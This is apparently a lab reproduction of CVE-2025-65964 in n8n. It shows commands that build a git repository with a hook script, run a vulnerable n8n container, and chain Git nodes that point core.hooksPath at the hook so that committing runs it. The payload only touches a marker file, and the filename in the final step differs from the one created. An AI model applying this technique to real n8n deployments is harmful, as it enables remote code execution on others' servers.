
CVE-2025-65964复现
First, prepare a repository containing a malicious file.
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <repository URL>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Then, run an n8n Docker container that is within the vulnerable version locally. The vulnerability affects a wide range: 0.123.1 ≤ n8n < 1.119.2. Here we use version 1.64.3.
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
First, the complete attack flow for version 1.64.3 is as follows:
Parameter configuration as shown:
This node and the next one are needed because Git only allows commits when files have changed, so we first need to write a random file into the repository.
Parameter configuration as shown:
Write a file into the repository.
Parameter configuration as shown:
These two nodes are required because commits need an email and username; just make up two values.
Parameter configuration as shown:
Core step: point core.hooksPath to the downloaded malicious directory, forcing Git to look in our specified directory for hooks (the default is .git/hooks).
(Felt similar to hijacking LD_PRELOAD or similar techniques.)
Parameter configuration as shown:
This step triggers the vulnerability by executing the tampered hook.
Parameter configuration as shown:
After configuring these nodes, execute the workflow.
Then, observe inside the Docker container — the malicious file pwned_without_exec_node has been created.